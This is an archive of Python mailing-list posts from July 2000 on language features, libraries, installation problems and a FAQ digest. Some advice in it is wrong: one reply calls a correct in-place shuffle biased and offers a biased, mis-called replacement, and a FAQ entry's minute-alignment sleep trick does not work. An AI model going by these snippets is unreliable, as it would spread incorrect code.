References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <3981D737.CBA366F@alcyone.com> <slrn8o40ni.49c.grey@teleute.rpglink.com> <ogk4oso77hu55jepdvssdj7od4s1j481rh@4ax.com>
Message-ID: <slrn8o6o57.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 03:35:05 GMT, Ben Wolfson <rumjuggler at cryptarchy.org>
wrote:
>If you write the numeral one on a board and ask 2 dozen people off the
>street what it is, how many of them will say it's a sequence?

    How many would say that abc is a sequence.  ;P

>Seeing what the quote in my .sig is, I'd like to emphasize that it was
>chosen randomly.

    Bwaahahahaha.. . I'll have to remember that one for work some time.


-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From MarkH at ActiveState.com  Thu Jul 27 01:30:26 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Thu, 27 Jul 2000 05:30:26 GMT
Subject: Python and COM: Aggregation?
References: <AiPf5.138$6Z.107941@paloalto-snr1.gtei.net>
Message-ID: <SNPf5.13158$4p3.102513@news-server.bigpond.net.au>

"John Doty" <j.doty at gte.net> wrote in message
news:AiPf5.138$6Z.107941 at paloalto-snr1.gtei.net...
> I love Python.  I want to use it for all my programming needs.
>
> But I can't.
>
> Is there a reason that COM objects implemented in Python are not
> aggregatable?

Simply no one has been bothered to add it.  AFAIK, no one plans to,
either.  Patches would be accepted tho!  Should be not too difficult as we
already support delegation of IUnknown back to another object to support
COM identity rules.

Mark.





From vxgvxg at my-deja.com  Wed Jul  5 12:27:01 2000
From: vxgvxg at my-deja.com (vxgvxg at my-deja.com)
Date: Wed, 05 Jul 2000 16:27:01 GMT
Subject: Telnetlib
Message-ID: <8jvnjs$f2l$1@nnrp1.deja.com>

Hi,

When using any of the telnetlib read functions (such as read_all(),
read_until(), etc.), the 0x00's seem to be dropped from the data
stream.  Any ideas?


Sent via Deja.com http://www.deja.com/
Before you buy.


From baron at null.net  Sat Jul  8 23:25:23 2000
From: baron at null.net (Matthew Schinckel)
Date: Sun, 9 Jul 2000 12:55:23 +0930
Subject: What about try:except:finally
In-Reply-To: <slrn8me79q.j9.daniels@localhost.localdomain>
References: <3967d908.363887342@news.online.no> <slrn8me79q.j9.daniels@localhost.localdomain>
Message-ID: <Pine.BOS.4.10.10007091254350.1313-100000@be>

On Jul 8, I overheard Alan Daniels mutter:

> On Fri, 07 Jul 2000 13:20:25 GMT, Thomas Weholt <thomas at cintra.no> wrote:
> 
> [paraphrased...]
> >Does python support, or if not, would it be cool to have support for
> >try/except/finally?
> 
> No, but just use try/except/else instead. Why it's "else" instead of
> "finally", I have no idea, but this works just fine. Example:

Yes, but if you want a statement executed regardless of whether there was
an exception or not, you need to use a finally clause.

-- 
Matthew Schinckel     <matt at null.net>
 
What this country needs is a good five cent microcomputer.



From nowonder at nowonder.de  Mon Jul 31 15:46:31 2000
From: nowonder at nowonder.de (Peter Schneider-Kamp)
Date: Mon, 31 Jul 2000 19:46:31 +0000
Subject: [5th Draft] Open Letter to CNRI: Request for clarification
Message-ID: <3985D797.E5D2FC08@nowonder.de>

added some names

<flame-shield>Should I add email addresses?</flame-shield>

--- begin open letter -------------------------------------------------
To: Dr. Robert E. Kahn <rkahn at cnri.reston.va.us>,
    (president of The Corporation for National Research Initiatives)

Dear Dr. Kahn,

many people in the Python community around the newsgroup
comp.lang.python are deeply concerned about the latest license
issues that have arisen around the new 1.6/2.0 releases.

The following attached signatures represent people from the Python
community who would like some clarification regarding the future of the
Python language. As of now, there has been no official statement from
your institution regarding the new Python license. We are especially
interested in the underlying intention of this change. So we request
a plain-English, non-legalese statement regarding the purpose of that
change and the ways in which it affects Python's use.

Kind regards,
Peter Schneider-Kamp
--- end open letter ----------------------------------------------------
--- begin signature list -----------------------------------------------
Martijn Faassen
Jay Graves
Konrad Hinsen (Centre de Biophysique Moleculaire (CNRS))
Gareth McCaughan
David Mertz (author of a Python column for IBM developerworks)
Edward Jason Riedy
Thomas Wouters (Systems Architect, Python developer)
Moshe Zadka (mathematician, Python developer)
--- end signature list -------------------------------------------------

Please add/change/remove your signatures.

Feedback as always strongly appreciated.

or-should-I-send-the-1st-draft-<wink>-ly y'rs
Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de

-- 
http://www.python.org/mailman/listinfo/python-list



From jhe at webde-ag.de  Tue Jul 25 10:23:44 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Tue, 25 Jul 2000 16:23:44 +0200
Subject: how to build arbitrarily-sized lists in one fell swoop?
References: <397DA1E0.B65DC47@cornell.edu>
Message-ID: <8lk7q6$hvh$1@pollux.ip-plus.net>

"Samuel Scarano" <srs25 at cornell.edu> schrieb im Newsbeitrag
news:397DA1E0.B65DC47 at cornell.edu...
> There's a simple thing I want to do in python but I can't find a way that
is
> obvious to the reader and efficient for the interpreter. I want to make a
> list with n copies of x.

Now that's an easy one:

>>> x = 1
>>> [x] * 10
[1, 1, 1, 1, 1, 1, 1, 1, 1, 1]




From moshez at math.huji.ac.il  Tue Jul 25 10:28:06 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Tue, 25 Jul 2000 17:28:06 +0300 (IDT)
Subject: how to build arbitrarily-sized lists in one fell swoop?
In-Reply-To: <397DA1E0.B65DC47@cornell.edu>
Message-ID: <Pine.GSO.4.10.10007251727470.17370-100000@sundial>

On Tue, 25 Jul 2000, Samuel Scarano wrote:

> There's a simple thing I want to do in python but I can't find a way that is
> obvious to the reader and efficient for the interpreter. I want to make a
> list with n copies of x.

l = [x]*n

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From kmp at atrium.fsnet.co.uk  Thu Jul  6 18:20:02 2000
From: kmp at atrium.fsnet.co.uk (Kenneth Payne)
Date: Thu, 06 Jul 2000 22:20:02 GMT
Subject: Problem Installing PyQt-012
References: <20000702.20095100@linux.local> <slrn8lvbm1.o1d.newsbunny@noether.freeserve.co.uk> <20000703.19444100@linux.local> <8jqnsu$m79$1@news1.xs4all.nl> <20000703.22081700@linux.local> <8k1hq0$k0r$1@news1.xs4all.nl>
Message-ID: <20000706.22200200@linux.local>

Boudewijn -

Thanks for your continued interest. Your suggestion about removing
config.cache and trying again was great. I did that and now the sip 
configure
runs without any errors. I really thought that was the solution. But 
no, when
I run the PyQt "make install" I still get the same error. This is 
weird as
there are now no errors in the configure or make of either sip or PyQt 
and yet
the make install of PyQt still fails.

As for the development package - I have the qtdevel-1.44-52 rpm 
installed.

Phil did kindly send me a private e-mail on the problem. He wrote:
---
Because configure failed to find X, it disabled Qt support (even
though it didn't tell you that's what it was doing).  configure uses
the standard AC_PATH_XTRA macro to find X - so I don't think the
problem is related to SIP/PyQt/PyKDE.

You need to work out why it's not finding X.
----
However, thanks to you, the sip configure *is* now finding X but I 
still have
the same problem. Perhaps some other files need to be deleted ( I've 
tried
deleting the PyQT config.cache but it made no difference).

Best wishes

-- Ken

>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 06/07/00, 08:59:44, boud at rempt.xs4all.nl (Boudewijn Rempt) wrote 
regarding Re: Problem Installing PyQt-012:


> > checking for X... no

> I do think you need X, really. Have you got the development packages
> installed?

> If you try again, first remove config.cache, to force autoconf to look
> again, then run ./configure again. If you still can't get it to work,
> I'd suggest contacting Phil Thompson - he's far more knowledgeable
> in compiling matters than I am. Success!

> --

> Boudewijn Rempt  | http://www.valdyas.org





From alan.gauld at gssec.bt.co.uk  Mon Jul  3 10:04:06 2000
From: alan.gauld at gssec.bt.co.uk (Alan Gauld)
Date: Mon, 03 Jul 2000 15:04:06 +0100
Subject: Newbie question  re: regsub
References: <395fc90a$1_1@huge.aa.net>
Message-ID: <39609D56.C710B311@gssec.bt.co.uk>

Robert Goto wrote:
> I am sure there is a very simple answer to this.
> >>> import regsub
> >>> fimo = open('fimo.txt')
> >>> while 1:
>       line = fimo.readline()
>       if not line: break
        newline = regsub.gsub('orange', 'red', line)
        print newlineline


> getting is both the original string and the changed string?!

What you are getting is gsub displaying its output because 
you haven't assigned it to anything and then you print the 
original string. Assign the result of gsub() to a variable 
then print that variable(as shown above). Note that because 
strings are immutable in Python(ie can't be changed) gsub 
*returns* the new string it does not(cannot!) change 'line'.

Alan g.

-- 
=================================================
This post represents the views of the author 
and does not necessarily accurately represent 
the views of BT.


From fiona at sitegnome.com  Sat Jul 22 22:04:14 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: Sun, 23 Jul 2000 12:04:14 +1000
Subject: Making Windows GUI programs
References: <8F776CE84nickperkinsusanet@203.2.75.243> <lZrd5.995$Kv6.36963@news20.bellglobal.com>
Message-ID: <397A529E.900C180A@sitegnome.com>

Olivier Dagenais wrote:
> 
> I recommend wxPython ( www.wxpython.org )
> 
> http://www.faqts.com/knowledge-base/view.phtml/aid/3565/fid/473

Looking at the answer in FAQTs, only 3 out of 12 people said the answer
was useful..

I'm very tempted to remove this answer altogether, so, this is a call to
improve the current answer.

As it stands currently:

--------start----------

What is wxPython? How does it compare with Tkinter?

Fiona Czuczman, Olivier Dagenais
Shae Erisson,
http://www.lpthe.jussieu.fr/~zeitlin/wxWindows/docs/wxwin465.htm#wxpother


wxPython [ http://www.wxpython.org ] is a set of Python bindings for 
the GUI toolkit wxWindows [ http://www.wxwindows.org ], that was 
written as a C++ library to provide a platform-independant way of 
implementing rich and fast user interfaces.

-----------------------------------------------------

I chose wxPython over Tkinter (for my projects) because:
- wxWindows seems to have more widgets than Tk
- special widgets (like the TreeView) are implemented using the 
operating system's native implementations, not complete re-writes
- it's more than a "lowest common denominator" among platforms, 
wxWindows seeks to provide the same, advanced functionality on all 
platforms, even if it means they have to write a lot of code to 
complement a platform's native component
- wxWindows seems to cover more ground, in terms of functionality (it's 
more than a GUI toolkit, it also seeks to provide functions/classes for 
files, threads, printing, clipboard, networking, ODBC, etc...)
- I was *really* impressed with the wxPython demo

-----------------------------------------------------

The wxWindows documentation emphasizes the "less good" points of other 
GUI toolkits (namely Tkinter) to motivate wxPython:

http://www.lpthe.jussieu.fr/~zeitlin/wxWindows/docs/wxwin465.htm#wxpothe
r

--------end--------------

Thanks,

Fiona Czuczman


> 
> --
> ----------------------------------------------------------------------
> Olivier A. Dagenais - Carleton University - Computer Science III
> 
> "Nicko" <nick_p at dingoblue.net.au> wrote in message
> news:8F776CE84nickperkinsusanet at 203.2.75.243...
> > Hi. I was wondering if anyone could point me in the direction of some GUI
> > help for windows. I would like to write a program using the windows API
> > set, but the help file that came in the win32all package doesn't make any
> > sence to me. If someone can point me in the direction of maybe a tutorial
> > or a nice document that can help, I would be greatful
> >
> > Thanks in Advance,
> > Nick Perkins

-- 

Site Gnome - site maintenance, documentation and proof reading

http://www.sitegnome.com


From deprince at sprynet.com  Sat Jul  8 13:04:00 2000
From: deprince at sprynet.com (Adam DePrince)
Date: Sat, 08 Jul 2000 17:04:00 +0000
Subject: How to print to stdout in binary
References: <8k1kn5$mkt$1@nnrp1.deja.com> <3965408E.DDD4A2@pehr.net>
Message-ID: <39675F00.DC04D6E9@sprynet.com>

pehr anderson wrote:
> 
> What platform are you developing on?
> under linux I did the following in a file "t.py":

<snip here to save bandwidth ... 

>
> >
> > Thanks
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.


Python's "open" is a wrapper around the C-lib's "fopen" function.  C
wants new lines to be represented as a "\n" (ASCII dec 10)  Most Unixes
and other non-MS operating systems conform to C's nomenclature.

Other operating systems, noteablely Microsoft's stuff, use a two byte
sequence "\r\n" or #13;#10; (or is ot #10;#13;, I forget which order) to
indicate a new line.  It is a _good thing_ for automatic translation to
occur for text files; it is a bad thing for this to happen for binary
files (i.e. the binary format author may not include the notion of
lines, or appreciate their newlines being munged)

Also, some OS's like VMS actually have a special flag in the file's
directory entry indicating if it is a "binary" or "text" file.  

C, in an effort to support all of these "flavors" permits the selection
between text and binary.  The results of this depend on the operating
system, but in general are:


Linux, BSD, all other Unix deriviatives:
The "b" flag has no effect.  

MSWindows:
The "b" flag indicate that automatic translation from window's to C's 
newline convention should _not_ take place.

VMS: 
Set the file's binary flag accordingly.  Does anybody know if VMS does
Windows style translation too?

Or, to quote from Linux's man page (sec 2, open)


       The mode string can also include the letter  ``b''  either
       as  a last character or as a character between the charac<AD>
       ters in any of the two-character strings described  above.
       This  is  strictly for compatibility with ANSI C3.159-1989
       (``ANSI C'') and has no effect; the ``b''  is  ignored  on
       all  POSIX  conforming  systems,  including Linux.  (Other
       systems may treat text files and binary files differently,
       and adding the ``b'' may be a good idea if you do I/O to a
       binary file and expect that your program may be ported  to
       non-Unix environments.)



-- 
Adam DePrince - firstname at lastname dot net, all in lowercase


From max at alcyone.com  Mon Jul 31 14:37:19 2000
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 31 Jul 2000 11:37:19 -0700
Subject: random.shuffle?
References: <slrn8ob14m.bh4.ahopkins@ahopkins.dynacare.com> <oqittmuxgj.fsf@titan.progiciels-bpi.ca>
Message-ID: <3985C75F.7030AB6C@alcyone.com>

Fran?ois Pinard wrote:

> def shuffle(items):
>     """Shuffle ITEMS in place.  ITEMS should normally be a list."""
>     for top in range(len(items)-1, 0, -1):
>         index = whrandom.randint(0, top)
>         items[index], items[top] = items[top], items[index]

This is a biased shuffling algorithm.  When swapping cards, you'd want
to pick the other card from the whole of the deck, not the deck that
you've touched so far.  If you start with a sorted deck, for instance,
it's easy to see that cards can't end up in every place; see Knuth.

Better would be this:

    def shuffle(list):
        count = len(list)
        for i in range(count):
            j = whrandom.randint(count)
            list[i], list[j] = list[j], list[i]

Simpler, too.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE
/  \ Love is the most subtle form of self-interest.
\__/ Holbrook Jackson
    Fat Boy and Little Man / http://www.fatboyandlittleman.com/
 Watch Fat Boy and Little Man go about their antics.


From no at bo.dy  Fri Jul 21 00:13:00 2000
From: no at bo.dy (nobody)
Date: Thu, 20 Jul 2000 23:13:00 -0500
Subject: iterating over lines in a file
References: <Pine.GSO.4.10.10007200934550.23388-100000@sundial>
Message-ID: <D5Pd5.25129$DZ4.84715@news.corecomm.net>

Moshe Zadka <moshez at math.huji.ac.il>, in
<Pine.GSO.4.10.10007200934550.23388-100000 at sundial>:

[...]
> Preventing world war III, when Python achieves world domination. If C is
> allowed to achieve world domination, WWIII will be cause by

> if(everything_is_ok = 0) {
> 	launch_missile();
> }

i sort of see the point, when you're speaking of beginner programmers
still confused by the common algebra equal sign and trying hard to
sort out assignment from comparison, but i honestly don't see many
more seasoned programmers making that mistake. maybe i'm just weird
that way. (then again, i keep wondering why native speakers of the
english language misplace the apostrophe. i never make that class of
mistakes either, my brain just isn't prone to it. maybe it's the
learning two other languages before english that inoculated me
somehow... both my other ones deal with that sort of grammar very
differently, so maybe i just don't see the apostrophe as something
confusing because of that. who knows.)

oy. that paragraph very little sense. time to go to bed, i think.



From bjorn at roguewave.com  Mon Jul 10 16:13:53 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Mon, 10 Jul 2000 14:13:53 -0600
Subject: Circular reference problem -- advice?
References: <396A1EC6.6738CFCC@alcyone.com>
Message-ID: <396A2E81.9ED567FA@roguewave.com>

Erik Max Francis wrote:
> 
> I'm fairly new to Python, although it's simple enough that I've already
> been able to write some fairly involved programs in it (I already know
> C, C++, Perl, etc.).  This question isn't so much about what's going
> wrong, but rather what's the best, most natural way to get around it.
> 
> I've come across a problem due to circular references, and I'm not sure
> what's the best way to tackle it.  In essence, the problem is that I
> need a particular class to keep an associative array of its methods for
> a lookup table (it's essentially a dispatcher).  But with references to
> its own bound methods, Python's garbage collector concludes it has
> circular references and thus its destructor never gets called.
> 
> Here is a simplified standalone program that demonstrates what I'm
> talking about:
> 
> class C:
>     def __init__(self):
>         print "in constructor"
>         self.map = { 'f': self.f, 'g': self.g }
> 
>     def __del__(self):
>         print "in destructor"
> 
>     def f(self):
>         print "in C.f"
> 
>     def g(self):
>         print "in C.g"
> 
>     def dispatch(self, name):
>         self.map[name]()
> 
> c = C()
> c.dispatch('f')
> 
> When run, this program prints
> 
>     max at charmaine:~/tmp% ./circ.py
>     in constructor
>     in C.f
> 
> and that's it; because of the circular reference, the destructor never
> gets called.
> 
> For the application I need, it's imperative that the destructor get
> called.  What is the best way to solve this?  I can think of a few:
> 
> - Move the map to a local variable in the dispatching function
> - Make map a lookup table of _unbound_ methods
> - Build a string of the function call and then exec it
> 
> What would be the most effective way of getting around this?  I'm
> thinking that using unbound methods would probably be the best way.

It depends on what kind of control you have...  The most straightforward
is probably something like:

class C:
    def __init__(self):
        print "in constructor"
        self.map = { 'f': self.f, 'g': self.g }

    def __del__(self):
        print "in destructor"
    
    def f(self):
        print "in C.f"

    def g(self):
        print "in C.g"

    def dispatch(self, name):
        self.map[name]()
        
    def close(self):
    	del self.map

try:
    c = C()
    c.dispatch('f')
finally:
    c.close()

It would probably be more natural to implement the destructor logic in
the close method with this scheme...

-- bjorn



From hzhu at localhost.localdomain  Mon Jul 17 21:52:20 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 01:52:20 GMT
Subject: Does Python support interfaces?
References: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com>
Message-ID: <slrn8n7e9e.2jc.hzhu@rocket.knowledgetrack.com>

On Tue, 18 Jul 2000 01:08:03 GMT, Randall Parker <rgparker at west.net> wrote:
>I'm quite new to Python. For those who are familiar with Java interfaces: 
>Does Python have a similar facility? 
>
>Can one declare interfaces, then declare that a class implements some 
>interface, instantiate an object of that class type, and then cast it to 
>an interface that it is declared to support and then pass it around as a 
>reference to that interface type and make calls to methods of that 
>interface type?
>

Maybe someone has a better solution, but here's a little program that checks
which method is implemented in which class, of what type.  You can add more
bells and whistles in similar fashion (like the names of arguments)

http://x53.deja.com/getdoc.xp?AN=635109618

I can only track it in deja news.  It seems that the archive for Jun 1-15 is
missing from pipermail archive.

-- 
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net 


From thomas at xs4all.net  Sat Jul 22 12:27:03 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Sat, 22 Jul 2000 18:27:03 +0200
Subject: Dynamic package exploration
In-Reply-To: <3978E7A6.2311C6F@rational.com>; from spierre@rational.com on Sat, Jul 22, 2000 at 12:15:34AM +0000
References: <3978CDBA.5859E594@rational.com> <20000722003043.F9897@xs4all.nl> <3978E7A6.2311C6F@rational.com>
Message-ID: <20000722182703.L9897@xs4all.nl>

On Sat, Jul 22, 2000 at 12:15:34AM +0000, Sebastien Pierre wrote:

> BTW, what happens if I do "import os" and then I do a "os=Thing()" and I
> do "print os.name", assuming that my Thing instance has a name="Hello"
> property ?

Assignment works differently, in Python, than in most languages. Assignment
just binds a name in the local namespace to an object. With 'import os', you
load the module 'os' (which usually is linked statically, so is already
imported) and bind it to the local name 'os'. If you then do 'os=Thing()',
you create a new Thing (or call the function Thing, if it's a function or
other callable object) and bind the resulting object to the local name 'os'
-- overwriting the previous 'os'.

> I guess it will print "Hello" ....but what is the scope of name
> resolution, something like block->function->class->module ?

'local' -> 'global'. 'global' is the top-level of the module, and 'local' is
the current function or class, or the same as 'global' if you are at the top
level.

So:

#file spam

#global:
x = 1
if x:
    y = 2

#local:
def spam(x):
    z = x
class Spam:
    _a = 1

Note that nothing is said about nested functions! You can only 'reach' the
current function, or the global namespace, so you can't actually do this:

def spam(x,y):
    def doit():
        print "spam spam spam"*x

    for i in range(y):
        doit()

Because 'x' doesn't exist in doit()'s local namespace, and it doesn't exist
in the global namespace, this'll give a nameerror. (unless 'x' does exist in
the global namespace, in which case you might get unexpected behaviour.)

Oh, there is also a magical third namespace, the 'builtin' one. It contains
all the builtin functions, and is queried last. You can't accidentily write
to it, though you can create a variable with the same in the local or global
namespace, 'shadowing' the builtin.

Tutorially-y'rs,

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From thomas at xs4all.net  Wed Jul 12 13:23:12 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Wed, 12 Jul 2000 19:23:12 +0200
Subject: Why are some infinite recursion stack overflows hard to deal  with?
In-Reply-To: <etdlmz7tmxs.fsf@w20-575-115.mit.edu>; from cut_me_out@hotmail.com on Wed, Jul 12, 2000 at 10:58:39AM -0400
References: <Pine.GSO.4.10.10007121752190.15424-100000@sundial> <etdlmz7tmxs.fsf@w20-575-115.mit.edu>
Message-ID: <20000712192312.O7340@xs4all.nl>

On Wed, Jul 12, 2000 at 10:58:39AM -0400, Alex wrote:

> > Python has a hack to try to deal with that: it checks bounds on the
> > recursion itself. However, Python's guess is a bit off on windows.

> It seems to be a bit off on Linux, too.  That's where I'm getting the
> segfault.

Hmm... What version of Python, and compiled how ? (Standard distribution
python, or self-compiled ?) I can't reproduce this on vanilla Python 1.5.2,
on BSDI, in any case. I'll try on Linux later.

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From jmcbray at carcosa.net  Thu Jul 27 11:57:39 2000
From: jmcbray at carcosa.net (Jason F. McBrayer)
Date: 27 Jul 2000 11:57:39 -0400
Subject: Sound---Anyone play with it in python?
References: <397FDBE9.B8E1A2E0@bresnanlink.net>
Message-ID: <m1d7jzwop8.fsf@bertrand.carcosa.net>

>>>>> "AB" == Aaron Berg <shuz at bresnanlink.net> writes:

AB> Does anyone know of a working wrapper or module that can manipulate
AB> sound in python?

I think 2.0 will have a linuxaudio module standard.

AB> The ESD wrapper is the one I am trying to get to work so far
AB> and I get a bad file descriptor when I try to write to the sound
AB> buffer.

Coincidentally, I was trying out the ESD module yesterday, and got the
same thing.  I don't think you're doing anything wrong; I think the
ESD module is for a much older version of ESD than we're using.

-- 
+-----------------------------------------------------------+
| Jason F. McBrayer                    jmcbray at carcosa.net  |
| A flower falls, even though we love it; and a weed grows, |
| even though we do not love it.            -- Dogen        |


From to_get_my_address at see.my.signature  Thu Jul 27 01:04:55 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 18:04:55 +1300
Subject: Tokenize.py for C++?
References: <8ljjj2$803$1@desig-bs01-s04.adtranzsig.de>
Message-ID: <397FC2F2.1B377A86@see.my.signature>

Dirk-Ulrich Heise wrote:
> 
> I could adapt tokenize.py myself,
> but maybe somebody already did something in
> this direction.

If you want to roll your own scanner, you might 
find my Plex module useful:

   http://www.cosc.canterbury.ac.nz/~greg/python/Plex

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From hzhu at localhost.localdomain  Mon Jul 17 20:47:07 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 18 Jul 2000 00:47:07 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <39736213.15848862@eecis.udel.edu> <39739291.4155A128@prescod.net>
Message-ID: <slrn8n7af7.2jc.hzhu@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000 18:11:13 -0500, Paul Prescod <paul at prescod.net> wrote:

>  There are even techniques for making your
>language work on the interpreter line. We can help with that.

Where is this?  Is it also included in the references you mentioned? I don't
have time or expertise to examine these, but someone else might.

Huaiyu


From fiona at sitegnome.com  Mon Jul 10 05:24:16 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 10 Jul 2000 09:24:16 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 10th, 2000
Message-ID: <20000710092416.30388.qmail@synop.com>

Hi Guys,

Below are the entries that made it into http://python.faqts.com today.

regards,

Fiona Czuczman


## New Entries #################################################


-------------------------------------------------------------
How can I do this Perl paragraph mode in Python? $/ = '';  # paragraph mode
http://www.faqts.com/knowledge-base/view.phtml/aid/4629
-------------------------------------------------------------
Fiona Czuczman
Harry George

If you use pyperl:
p=pyperl.Pyperl()
p.INPUT_RECORD_SEPARATOR=''
myfile=p.open("< $filename")
lines=myfile.readlines()


-------------------------------------------------------------
Is there anywhere I can get a list of the commands for python?
http://www.faqts.com/knowledge-base/view.phtml/aid/4630
-------------------------------------------------------------
Fiona Czuczman
Peter Schneider-Kamp

Try the library and the language reference at http://www.python.org/doc


-------------------------------------------------------------
How can I ring the PC's bell (ie internal speaker) to alert the operator that an operation has finished running?
http://www.faqts.com/knowledge-base/view.phtml/aid/4632
-------------------------------------------------------------
Fiona Czuczman
David Porter

print "\a"


## Edited Entries ##############################################


-------------------------------------------------------------
Is there a command/function in python to put a delay or wait step into a program?
Does python have a sleep function? e.g. sleep(60) to wait 60 seconds?
http://www.faqts.com/knowledge-base/view.phtml/aid/2609
-------------------------------------------------------------
Nathan Wallace, Fiona Czuczman
Andreas Jung,Greg Fortune, pehr anderson

Try the sleep function in the time module.

  import time
  time.sleep(60)

And put this in a while loop and a statement will only execute on the
minute...  That allows you to run a statement at predefined intervals
regardless of how long the command takes (as long as it takes less than 
a minute or 5 or 60 or whatever you set it to)  For example, I wanted to 
run a ping once a minute.  If I just time.sleep(60) or time.sleep(45) 
even, the ping will not always take the same amount of time.  Here's the 
code :)

time.sleep(time.localtime(time.time())[5])
The [5] just pulls the seconds out of the time.localtime()'s return 
value.

The great thing about time.sleep is that it supports floating point 
numbers!

import time
time.sleep(0.1) 

http://python.org/doc/current/lib/module-time.html


-------------------------------------------------------------
What is the best way of setting default options of widgets?
http://www.faqts.com/knowledge-base/view.phtml/aid/4151
-------------------------------------------------------------
Fiona Czuczman
richard_chamberlain,Cameron Laird

You can use an option database. If you create a file called optionDB 
with for example the following kind of entries:

*font:                   Times New Roman
*Button*foreground       blue
*foreground              black

You can then apply these via

root.option_readfile('optionDB')

For more on this, see

http://www.regularexpressions.com/#options


-------------------------------------------------------------
Why are there no operators equivalent to C's   , --,  =, etc.?
http://www.faqts.com/knowledge-base/view.phtml/aid/3378
-------------------------------------------------------------
Fiona Czuczman
Fredrik Lundh, Peter Schneider-Kamp, Michael Hudson

if you write things like "var = var + 1" a lot, you might be missing 
some important python idioms...

here are a few, in no specific order:

    for item in sequence:
        ...

    sequence = map(operation, sequence)

    sequence.append(item)

    for index in range(size):
        ...

    for item1, item2 in map(None, sequence1, sequence):
        ...

    for index in range(start, stop, step):
        ...

    n = sequence.count(item)

    for index in range(len(sequence)):
        ...

    sequence.remove(item)

    for index in range(len(sequence)-1, -1, -1):
        ...

(also note that most basic types are *immutable*, so it's not entirely 
clear how things like ++ and += should work.

Michael Hudson wrote a patch for the +=, -=, *=, /= and some other
of these operators.

A patch can be found at:

http://starship.python.net/crew/mwh/aug-patch.html
http://www-jcsu.jesus.cam.ac.uk/~mwh21/aug-patch.html


-------------------------------------------------------------
Is there a utility to convert module docstrings to HTML for nice documentation?
http://www.faqts.com/knowledge-base/view.phtml/aid/4610
-------------------------------------------------------------
Stu D, Fiona Czuczman
Richard Jones

>From http://starship.python.net/crew/danilo/download.html:

Gendoc generates documentation from Python source code in different 
formats. Currently it can generate HTML, MIF, MML and plain old ascii 
(MIF and MML are FrameMaker formats). If you want to generate HTML 
files, I strongly suggest you grab a copy of Robin Friedrich's HTMLgen 
package, with which gendoc generates quite nice pages, optionally with 
frames.






From loredo at spacenet.tn.cornell.edu  Tue Jul 25 16:38:42 2000
From: loredo at spacenet.tn.cornell.edu (Tom Loredo)
Date: Tue, 25 Jul 2000 16:38:42 -0400
Subject: ZORB for Mac?
Message-ID: <397DFAD2.6354B460@spacenet.tn.cornell.edu>


Hi folks-

Has anyone out there built ZORB (the object database for Zope) for
the Mac?  If not, does anyone know of any obstacles to a Mac
build of just this part of Zope?  If not, I'll give it a go.  But
if someone already knows that it relies on system calls not
available on the Mac, I'd rather not spend the time rediscovering
this for myself!

Thanks,
Tom Loredo


From mwh21 at cam.ac.uk  Tue Jul 18 02:19:39 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 18 Jul 2000 07:19:39 +0100
Subject: Python equivalent of CPAN in Perl
References: <397122FB.71E32674@wl.vg> <8krfa9$vf4$1@nntp9.atl.mindspring.net> <PKYoxIA+wXc5EwNL@jessikat.fsnet.co.uk>
Message-ID: <m3u2doot8k.fsf@atrus.jesus.cam.ac.uk>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:

> Unfortunately not true. A large share of the Python market (on win32)
> have no compilers and probably wouldn't/couldn't use one even if it were
> present. I doubt the extension builders will always want to include
> .pyds for Python15.dll Python20.dll etc etc.

But distutils will make it much easier for someone else to provide the
binaries...

Cheers,
M.

-- 
  After a heavy night, I travelled on, my face toward home - the comma
  being by no means guaranteed.           -- paraphrased from cam.misc


From johnvert at my-deja.com  Sun Jul  9 14:58:23 2000
From: johnvert at my-deja.com (johnvert at my-deja.com)
Date: Sun, 09 Jul 2000 18:58:23 GMT
Subject: Py_Apache Vs. mod_python
